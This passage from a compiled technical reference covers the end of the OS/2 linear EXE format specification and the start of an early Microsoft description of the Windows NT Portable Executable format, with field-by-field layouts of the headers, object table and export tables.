point. This field is a Word value when the '32-bit Additive Flag' bit in the target flags field is clear and a Dword value when the bit is set. +-----+-----+-----+-----+ 00h | SRC |FLAGS|SRCOFF/CNT*| +-----+-----+-----+-----+-----+-----+ 03h/04h | ORD # * | ADDITIVE * @ | +-----+-----+-----+-----+-----+-----+ | SRCOFF1 @ | . . . | SRCOFFn @ | +-----+-----+---- ----+-----+-----+ * These fields are variable size. @ These fields are optional. ENTRY # = D[B|W] Ordinal index into the Entry Table. This field is an index into the current module's Entry Table to specify the target Object and offset. It is a Byte value when the '16-bit Object Number/Module Ordinal' Flag bit in the target flags field is clear and a Word value when the bit is set. ADDITIVE = D[W|D] Additive fixup value. This field exists in the fixup record only when the 'Additive Fixup Flag' bit in the target flags field is set. When the 'Additive Fixup Flag' is clear the fixup record does not contain this field and is immediately followed by the next fixup record (or by the source offset list for this fixup record). This value is added to the address derived from the target entry point. This field is a Word value when the '32-bit Additive Flag' bit in the target flags field is clear and a Dword value when the bit is set. Import Module Name Table The import module name table defines the module name strings imported through dynamic link references. These strings are referenced through the imported relocation fixups. To determine the length of the import module name table subtract the import module name table offset from the import procedure name table offset. These values are located in the linear EXE header. The end of the import module name table is not terminated by a special character, it is followed directly by the import procedure name table. The strings are CASE SENSITIVE and NOT NULL TERMINATED. Each name table entry has the following format: +-----+-----+-----+-----+ +-----+ 00h | LEN | ASCII STRING . . . | +-----+-----+-----+-----+ +-----+ LEN = DB String Length. This defines the length of the string in bytes. The length of each ascii name string is limited to 127 characters. ASCII STRING = DB ASCII String. This is a variable length string with it's length defined in bytes by the LEN field. The string is case sensitive and is not null terminated. Import Procedure Name Table The import procedure name table defines the procedure name strings imported by this module through dynamic link references. These strings are referenced through the imported relocation fixups. To determine the length of the import procedure name table add the fixup section size to the fixup page table offset, this computes the offset to the end of the fixup section, then subtract the import procedure name table offset. These values are located in the linear EXE header. The import procedure name table is followed by the data pages section. Since the data pages section is aligned on a 'page size' boundary, padded space may exist between the last import name string and the first page in the data pages section. If this padded space exists it will be zero filled. The strings are CASE SENSITIVE and NOT NULL TERMINATED. Each name table entry has the following format: +-----+-----+-----+-----+ +-----+ 00h | LEN | ASCII STRING . . . | +-----+-----+-----+-----+ +-----+ LEN = DB String Length. This defines the length of the string in bytes. The length of each ascii name string is limited to 127 characters. The high bit in the LEN field (bit 7) is defined as an Overload bit. This bit signifies that additional information is contained in the linear EXE module and will be used in the future for parameter type checking. ASCII STRING = DB ASCII String. This is a variable length string with it's length defined in bytes by the LEN field. The string is case sensitive and is not null terminated. Preload Pages The Preload Pages section is an optional section in the linear EXE module that coalesces a 'preload page set' into a contiguous section. The preload page set can be defined as the set of first used pages in the module. The preload page set can be specified by the application developer or can be derived by a tool that analyzes the programs memory usage while it is running. By grouping the preload page set together, the preload pages can be read from the linear EXE module with one disk read. The structure of the preload pages is no different than if they were demand loaded. They are non-iterated pages. Their sizes are determined by the Object Page Table entries that correspond. If the specified size is less than the PAGE SIZE field given in the linear EXE module header the remainder of the page is filled with zeros when loaded. All pages begin on a PAGE OFFSET SHIFT boundary from the base of the preload page section, as specified in the linear EXE header. The pages are ordered by logical page number within this section. Note: OS/2 2.0 does not respect preload pages. Performance tests showed that better system performance was obtained by not respecting the preload request in the executable file. Demand Load Pages The Demand Loaded Pages section contains all the non-iterated pages for a linear EXE module that are not preloaded. When required, the whole page is loaded into memory from the module. The characteristics of each of these pages is specified in the Object Page Table. Every page begins on a PAGE OFFSET SHIFT boundary aligned offset from the demand loaded pages base specified in the linear EXE header. Their sizes are determined by the Object Page Table entries that correspond. If the specified size is less than the PAGE SIZE field given in the linear EXE module header the remainder of the page is filled with zeros when loaded. The pages are ordered by logical page number within this section. Iterated Data Pages The Iterated Data Pages section contains all the pages for a linear EXE module that are iterated. When required, the set of iteration records are loaded into memory from the module and expanded to reconstitute the page. Every set of iteration records begins on a PAGE OFFSET SHIFT offset from the OBJECT ITER PAGES OFF specified in the linear EXE header. Their sizes are determined by the Object Page Table entries that correspond. The pages are ordered by logical page number within this section. This record structure is used to describe the iterated data for an object on a per-page basis. +-----+-----+-----+-----+ 00h |#ITERATIONS|DATA LENGTH| +-----+-----+-----+-----+-----+ 04h |DATA BYTES | . . . | ... | +-----+-----+-----+-----+-----+ Figure 19. Object Iterated Data Record (Iteration Record) #ITERATIONS = DW Number of iterations. This specifies the number of times that the data is replicated. DATA LENGTH = DW The size of the data pattern in bytes. This specifies the number of bytes of data of which the pattern consists. The maximum size is one half of the PAGE SIZE (given in the module header). If a pattern exceeds this value then the data page will not be condensed into iterated data. DATA = DB * DATA LENGTH The Data pattern to be replicated. The next iteration record will immediately follow the last byte of the pattern. The offset of the next iteration record is easily calculated from the offset of this record by adding the DATA LENGTH field and the sizes of the #ITERATIONS and DATA LENGTH fields. Debug Information The debug information is defined by the debugger and is not controlled by the linear EXE format or linker. The only data defined by the linear EXE format relative to the debug information is it's offset in the EXE file and length in bytes as defined in the linear EXE header. To support multiple debuggers the first word of the debug information is a type field which determines the format of the debug information. 00h 01h 02h 03h 04h +-----+-----+-----+-----+-----+-----+-----+-----+ | 'N' | 'B' | '0' | n | DEBUGGER DATA . . . . +-----+-----+-----+-----+-----+-----+-----+-----+ TYPE = DB DUP 4 Format type. This defines the type of debugger data that exists in the remainder of the debug information. The signature consists of a string of four (4) ASCII characters: "NB0" followed by the ASCII representation for 'n'. The values for 'n' are defined as follows. These format types are defined. 00h = 32-bit CodeView debugger format. 01h = AIX debugger format. 02h = 16-bit CodeView debugger format. 04h = 32-bit OS/2 PM debugger (IBM) format. DEBUGGER DATA = Debugger specific data. The format of the debugger data is defined by the debugger that is being used. The values defined for the type field are not enforced by the system. It is the responsibility of the linker or debugging tools to follow the convention for the type field that is defined here. []------------------[] -------------------------------------------+ 10 - Guide to Windows Portable Executables | -------------------------------------------+ PORTABLE EXECUTABLE FORMAT Author: Micheal J. O'Leary Preface This document was edited and released by Microsoft Developer Support. It describes the binary portable executable format for NT. The information is provided at this point because we feel it will make the work of application development easier. Unfortunately, the information in this document may change before the final release of Windows NT. Microsoft is NOT committing to stay with these formats by releasing this document. Questions or follow-ups for any of the information presented here should be posted to CompuServe MSWIN32 forum, section 6. --Steve Firebaugh Microsoft Developer Support Contents 1. Overview 2. PE Header 3. Object Table 4. Image Pages 5. Exports 5.1 Export Directory Table 5.2 Export Address Table 5.3 Export Name Table Pointers 5.4 Export Ordinal Table 5.5 Export Name Table 6. Imports 6.1 Import Directory Table 6.2 Import Lookup Table 6.3 Hint-Name Table 6.4 Import Address Table 7. Thread Local Storage 7.1 Thread Local Storage Directory Table 7.2 Thread Local Storage CallBack Table 8. Resources 8.1 Resource Directory Table 8.2 Resource Example 9. Fixup Table 9.1 Fixup Block 10. Debug Information 10.1 Debug Directory 1. Overview ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ <ÄÄ¿ <ÄÄÄÄÄ Base of Image Header ³ DOS 2 Compatible ³ ³ ³ EXE Header ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ unused ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ OEM Identifier ³ ³ ³ OEM Info ³ ³ ³ ³ ³ DOS 2.0 Section ³ Offset to ³ ³ (for DOS compatibility only) ³ PE Header ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ DOS 2.0 Stub ³ ³ ³ Program & ³ ³ ³ Reloc. Table ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ <ÄÄÙ ³ unused ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ <ÄÄÄÄÄÄÄÄÄ Aligned on 8 byte boundary ³ PE Header ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Object Table ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Image Pages ³ ³ import info ³ ³ export info ³ ³ fixup info ³ ³ resource info³ ³ debug info ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 1. A typical 32-bit Portable EXE File Layout 2. PE Header ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ SIGNATURE BYTES ³ CPU TYPE ³ # OBJECTS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ NT HDR SIZE³ FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³LMAJOR³LMINOR³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ENTRYPOINT RVA ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ IMAGE BASE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ OBJECT ALIGN ³ FILE ALIGN ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ OS MAJOR ³ OS MINOR ³USER MAJOR ³USER MINOR ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ SUBSYS MAJOR³ SUBSYS MINOR³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMAGE SIZE ³ HEADER SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ FILE CHECKSUM ³ SUBSYSTEM ³ DLL FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ STACK RESERVE SIZE ³ STACK COMMIT SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ HEAP RESERVE SIZE ³ HEAP COMMIT SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ # INTERESTING RVA/SIZES ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ EXPORT TABLE RVA ³ TOTAL EXPORT DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMPORT TABLE RVA ³ TOTAL IMPORT DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESOURCE TABLE RVA ³ TOTAL RESOURCE DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ EXCEPTION TABLE RVA ³ TOTAL EXCEPTION DATA SIZE³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ SECURITY TABLE RVA ³ TOTAL SECURITY DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ FIXUP TABLE RVA ³ TOTAL FIXUP DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DEBUG TABLE RVA ³ TOTAL DEBUG DIRECTORIES ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMAGE DESCRIPTION RVA ³ TOTAL DESCRIPTION SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MACHINE SPECIFIC RVA ³ MACHINE SPECIFIC SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ THREAD LOCAL STORAGE RVA ³ TOTAL TLS SIZE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 2. PE Header Notes: o A VA is a virtual address that is already biased by the Image Base found in the PE Header. A RVA is a virtual address that is relative to the Image Base. o An RVA in the PE Header which has a value of zero indicates the field isn't used. o Image pages are aligned and zero padded to a File Align boundary. The bases of all other tables and structures must be aligned on DWORD (4 byte) boundary. Thus, all VA's and RVA's must be on a 32 bit boundary. All table and structure fields must be aligned on their "natural" boundaries, with the possible exception of the Debug Info. SIGNATURE BYTES = DB * 4. Current value is "PE/0/0". Thats PE followed by two zeros (nulls). CPU TYPE = DW CPU Type. This field specifies the type of CPU compatibility required by this image to run. The values are: o 0000h __unknown o 014Ch __80386 o 014Dh __80486 o 014Eh __80586 o 0162h __MIPS Mark I (R2000, R3000) o 0163h __MIPS Mark II (R6000) o 0166h __MIPS Mark III (R4000) # OBJECTS = DW Number of object entries. This field specifies the number of entries in the Object Table. TIME/DATE STAMP = DD Used to store the time and date the file was created or modified by the linker. NT HDR SIZE = DW This is the number of remaining bytes in the NT header that follow the FLAGS field. FLAGS = DW Flag bits for the image. The flag bits have the following definitons: o 0000h __Program image. o 0002h __Image is executable. If this bit isn't set, then it indicates that either errors where detected at link time or that the image is being incrementally linked and therefore can't be loaded. o 0200h __Fixed. Indicates that if the image can't be loaded at the Image Base, then don't load it. o 2000h __Library image. LMAJOR/LMINOR = DB Linker major/minor version number. ENTRYPOINT RVA = DD Entrypoint relative virtual address. The address is relative to the Image Base. The address is the starting address for program images and the library initialization and library termination address for library images. IMAGE BASE = DD The virtual base of the image. This will be the virtual address of the first byte of the file (Dos Header). This must be a multiple of 64K. OBJECT ALIGN = DD The alignment of the objects. This must be a power of 2 between 512 and 256M inclusive. The default is 64K. FILE ALIGN = DD Alignment factor used to align image pages. The alignment factor (in bytes) used to align the base of the image pages and to determine the granularity of per-object trailing zero pad. Larger alignment factors will cost more file space; smaller alignment factors will impact demand load performance, perhaps significantly. Of the two, wasting file space is preferable. This value should be a power of 2 between 512 and 64K inclusive. OS MAJOR/MINOR = DW OS version number required to run this image. USER MAJOR/MINOR # = DW User major/minor version number. This is useful for differentiating between revisions of images/dynamic linked libraries. The values are specified at link time by the user. SUBSYS MAJOR/MINOR # = DW Subsystem major/minor version number. IMAGE SIZE = DD The virtual size (in bytes) of the image. This includes all headers. The total image size must be a multiple of Object Align. HEADER SIZE = DD Total header size. The combined size of the Dos Header, PE Header and Object Table. FILE CHECKSUM = DD Checksum for entire file. Set to 0 by the linker. SUBSYSTEM = DW NT Subsystem required to run this image. The values are: o 0000h __Unknown o 0001h __Native o 0002h __Windows GUI o 0003h __Windows Character o 0005h __OS/2 Character o 0007h __Posix Character DLL FLAGS = DW Indicates special loader requirements. This flag has the following bit values: o 0001h __Per-Process Library Initialization. o 0002h __Per-Process Library Termination. o 0004h __Per-Thread Library Initialization. o 0008h __Per-Thread Library Termination. All other bits are reserved for future use and should be set to zero. STACK RESERVE SIZE = DD Stack size needed for image. The memory is reserved, but only the STACK COMMIT SIZE is committed. The next page of the stack is a 'guarded page'. When the application hits the guarded page, the guarded page becomes valid, and the next page becomes the guarded page. This continues until the RESERVE SIZE is reached. STACK COMMIT SIZE = DD Stack commit size. HEAP RESERVE SIZE = DD Size of local heap to reserve. HEAP COMMIT SIZE = DD Amount to commit in local heap. # INTERESTING VA/SIZES = DD Indicates the size of the VA/SIZE array that follows. EXPORT TABLE RVA = DD Relative Virtual Address of the Export Table. This address is relative to the Image Base. IMPORT TABLE RVA = DD Relative Virtual Address of the Import Table. This address is relative to the Image Base. RESOURCE TABLE RVA = DD Relative Virtual Address of the Resource Table. This address is relative to the Image Base. EXCEPTION TABLE RVA = DD Relative Virtual Address of the Exception Table. This address is relative to the Image Base. SECURITY TABLE RVA = DD Relative Virtual Address of the Security Table. This address is relative to the Image Base. FIXUP TABLE RVA = DD Relative Virtual Address of the Fixup Table. This address is relative to the Image Base. DEBUG TABLE RVA = DD Relative Virtual Address of the Debug Table. This address is relative to the Image Base. IMAGE DESCRIPTION RVA = DD Relative Virtual Address of the description string specified in the module definiton file. MACHINE SPECIFIC RVA = DD Relative Virtual Address of a machine specific value. This address is relative to the Image Base. TOTAL EXPORT DATA SIZE = DD Total size of the export data. TOTAL IMPORT DATA SIZE = DD Total size of the import data. TOTAL RESOURCE DATA SIZE = DD Total size of the resource data. TOTAL EXCEPTION DATA SIZE = DD Total size of the exception data. TOTAL SECURITY DATA SIZE = DD Total size of the security data. TOTAL FIXUP DATA SIZE = DD Total size of the fixup data. TOTAL DEBUG DIRECTORIES = DD Total number of debug directories. TOTAL DESCRIPTION SIZE = DD Total size of the description data. MACHINE SPECIFIC SIZE = DD A machine specific value. 3. Object Table The number of entries in the Object Table is given by the # Objects field in the PE Header. Entries in the Object Table are numbered starting from one. The object table immediately follows the PE Header. The code and data memory object entries are in the order chosen by the linker. The virtual addresses for objects must be assigned by the linker such that they are in ascending order and adjacent, and must be a multiple of Object Align in the PE header. Each Object Table entry has the following format: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ OBJECT NAME ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ VIRTUAL SIZE ³ RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ PHYSICAL SIZE ³ PHYSICAL OFFSET ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ OBJECT FLAGS ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 3. Object Table OBJECT NAME = DB * 8 Object name. This is an eight-byte null-padded ASCII string representing the object name. VIRTUAL SIZE = DD Virtual memory size. The size of the object that will be allocated when the object is loaded. Any difference between PHYSICAL SIZE and VIRTUAL SIZE is zero filled. RVA = DD Relative Virtual Address. The virtual address the object is currently relocated to, relative to the Image Base. Each Object's virtual address space consumes a multiple of Object Align (power of 2 between 512 and 256M inclusive. Default is 64K), and immediately follows the previous Object in the virtual address space (the virtual address space for a image must be dense). PHYSICAL SIZE = DD Physical file size of initialized data. The size of the initialized data in the file for the object. The physical size must be a multiple of the File Align field in the PE Header, and must be less than or equal to the Virtual Size. PHYSICAL OFFSET = DD Physical offset for object's first page. This offset is relative to beginning of the EXE file, and is aligned on a multiple of the File Align field in the PE Header. The offset is used as a seek value. OBJECT FLAGS = DD Flag bits for the object. The object flag bits have the following definitions: o 000000020h __Code object. o 000000040h __Initialized data object. o 000000080h __Uninitialized data object. o 040000000h __Object must not be cached. o 080000000h __Object is not pageable. o 100000000h __Object is shared. o 200000000h __Executable object. o 400000000h __Readable object. o 800000000h __Writeable object. All other bits are reserved for future use and should be set to zero. 4. Image Pages The Image Pages section contains all initialized data for all objects. The seek offset for the first page in each object is specified in the object table and is aligned on a File Align boundary. The objects are ordered by the RVA. Every object begins on a multiple of Object Align. 5. Exports A typical file layout for the export information follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DIRECTORY TABLE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ADDRESS TABLE ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME PTR TABLE ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ORDINAL TABLE ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME STRINGS ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 4. Export File Layout 5.1 Export Directory Table The export information begins with the Export Directory Table which describes the remainder of the export information. The Export Directory Table contains address information that is used to resolve fixup references to the entry points within this image. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ EXPORT FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ORDINAL BASE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ # EAT ENTRIES ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ # NAME PTRS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ADDRESS TABLE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME PTR TABLE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ORDINAL TABLE RVA ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 5. Export Directory Table Entry EXPORT FLAGS = DD Currently set to zero. TIME/DATE STAMP = DD Time/Date the export data was created. MAJOR/MINOR VERSION = DW A user settable major/minor version number. NAME RVA = DD Relative Virtual Address of the Dll asciiz Name. This is the address relative to the Image Base. ORDINAL BASE = DD First valid exported ordinal. This field specifies the starting ordinal number for the export address table for this image. Normally set to 1. # EAT ENTRIES = DD Indicates number of entries in the Export Address Table. # NAME PTRS = DD This indicates the number of entries in the Name Ptr Table (and parallel Ordinal Table). ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address Table. This address is relative to the Image Base. NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table Pointers. This address is relative to the beginning of the Image Base. This table is an array of RVA's with # NAMES entries. ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals Table Entry. This address is relative to the beginning of the Image Base. 5.2 Export Address Table The Export Address Table contains the address of exported entrypoints and exported data and absolutes. An ordinal number is used to index the Export Address Table. The ORDINAL BASE must be subracted from the ordinal number before indexing into this table. Export Address Table entry formats are described below: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ EXPORTED RVA ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 6. Export Address Table Entry EXPORTED RVA = DD Export address. This field contains the relative virtual address of the exported entry (relative to the Image Base). 5.3 Export Name Table Pointers The export name table pointers array contains address into the Export Name Table. The pointers are 32-bits each, and are relative to the Image Base. The pointers are ordered lexically to allow binary searches. 5.4 Export Ordinal Table The Export Name Table Pointers and the Export Ordinal Table form two parallel arrays, separated to allow natural field alignment. The export ordinal table array contains the Export Address Table ordinal numbers associated with the named export referenced by corresponding Export Name Table Pointers. The ordinals are 16-bits each, and already include the Ordinal Base stored in the Export Directory Table. 5.5 Export Name Table The export name table contains optional ASCII names for exported entries in the image. These tables are used with the array of Export Name Table Pointers and the array of Export Ordinals to translate a procedure name string into an ordinal number by searching for a matching name string. The ordinal number is used to locate the entry point information in the export address table. Import references by name require the Export Name Table Pointers table to be binary searched to find the matching name, then the corresponding Export Ordinal Table is known to contain the entry point ordinal number. Import references by ordinal number provide the fastest lookup since searching the name table is not required. Each name table entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ ASCII STRING ::: :::::::: '\0' ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 7. Export Name Table Entry ASCII STRING = DB ASCII String. The string is case sensitive and is 